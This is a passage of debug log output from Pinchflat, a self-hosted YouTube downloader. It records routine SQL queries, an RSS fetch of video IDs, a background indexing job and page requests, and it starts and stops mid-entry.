s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:41:20.727 [debug] QUERY OK source="settings" db=0.1ms idle=1007.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:20.727 [debug] QUERY OK source="tasks" db=0.2ms idle=1787.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:41:20.727 [debug] QUERY OK source="sources" db=0.1ms idle=0.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:41:20.727 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:41:20.727 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:20.727 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 15:41:20.762 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 15:41:20.762 [debug] QUERY OK source="media_items" db=0.3ms idle=34.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 15:41:20.764 [debug] QUERY OK source="media_items" db=1.6ms idle=35.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 15:41:20.765 [debug] QUERY OK source="tasks" db=0.0ms idle=37.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [695, 3, ~U[2026-07-24 15:41:20Z], ~U[2026-07-24 15:41:20Z]] 15:41:20.765 [info] {"args":{"id":3},"id":692,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":38150,"event":"job:stop","queue_time":596489,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:41:20.765 [debug] QUERY OK source="tasks" db=0.4ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:41:26.469 [info] GET / 15:41:26.469 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:41:26.469 [debug] QUERY OK source="settings" db=0.1ms idle=742.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:26.469 [debug] QUERY OK source="media_profiles" db=0.0ms idle=529.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:41:26.470 [debug] QUERY OK source="sources" db=0.0ms idle=530.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:41:26.473 [debug] QUERY OK source="media_items" db=2.9ms idle=530.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:41:26.473 [debug] QUERY OK source="media_items" db=0.3ms idle=533.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:41:26.473 [debug] QUERY OK source="settings" db=0.0ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:26.473 [debug] QUERY OK source="settings" db=0.0ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:26.474 [debug] QUERY OK source="settings" db=0.0ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:26.474 [debug] QUERY OK source="media_items" db=0.2ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:41:26.476 [debug] QUERY OK source="media_items" db=1.4ms idle=1.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:41:26.476 [debug] QUERY OK source="sources" db=0.0ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:41:26.482 [debug] QUERY OK source="media_items" db=5.5ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:41:26.486 [debug] QUERY OK source="media_items" db=3.8ms idle=8.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:41:26.487 [debug] QUERY OK source="tasks" db=0.1ms idle=12.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:41:26.487 [info] Sent 200 in 18ms 15:41:27.063 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:32.283 [info] GET /sources/3/media/6485 15:41:32.283 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6485", "source_id" => "3"} Pipelines: [:browser] 15:41:32.283 [debug] QUERY OK source="media_items" db=0.1ms idle=1343.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6485] 15:41:32.283 [debug] QUERY OK source="tasks" db=0.1ms idle=550.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6485] 15:41:32.284 [debug] QUERY OK source="sources" db=0.1ms idle=344.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:41:32.284 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=344.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [382] 15:41:32.284 [debug] QUERY OK source="settings" db=0.0ms idle=344.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:32.284 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:32.284 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:32.285 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:41:32.285 [info] Sent 200 in 2ms 15:41:35.220 [info] GET /media_profiles 15:41:35.220 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 15:41:35.220 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1280.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 15:41:35.221 [debug] QUERY OK source="settings" db=0.0ms idle=1281.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:35.221 [debug] QUERY OK source="settings" db=0.0ms idle=1281.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:35.221 [debug] QUERY OK source="settings" db=0.0ms idle=1281.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:35.221 [info] Sent 200 in 1ms 15:41:37.831 [info] GET /settings 15:41:37.831 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 15:41:37.832 [debug] QUERY OK source="settings" db=0.0ms idle=892.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:37.832 [debug] QUERY OK source="settings" db=0.0ms idle=892.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:37.832 [debug] QUERY OK source="settings" db=0.0ms idle=892.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:37.832 [debug] QUERY OK source="settings" db=0.0ms idle=892.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:37.833 [info] Sent 200 in 1ms 15:41:40.018 [info] GET /sources/2/media/6111 15:41:40.018 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6111", "source_id" => "2"} Pipelines: [:browser] 15:41:40.019 [debug] QUERY OK source="media_items" db=0.1ms idle=1079.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6111] 15:41:40.019 [debug] QUERY OK source="tasks" db=0.0ms idle=1079.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6111] 15:41:40.019 [debug] QUERY OK source="sources" db=0.1ms idle=1079.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:41:40.019 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=1079.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [369] 15:41:40.019 [debug] QUERY OK source="settings" db=0.0ms idle=277.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:40.019 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:40.020 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:40.020 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:41:40.021 [info] Sent 200 in 3ms 15:41:42.078 [info] GET /sources/1 15:41:42.078 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 15:41:42.079 [debug] QUERY OK source="sources" db=0.2ms idle=334.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:41:42.079 [debug] QUERY OK source="media_profiles" db=0.0ms idle=139.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:41:42.079 [debug] QUERY OK source="tasks" db=0.2ms idle=139.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", 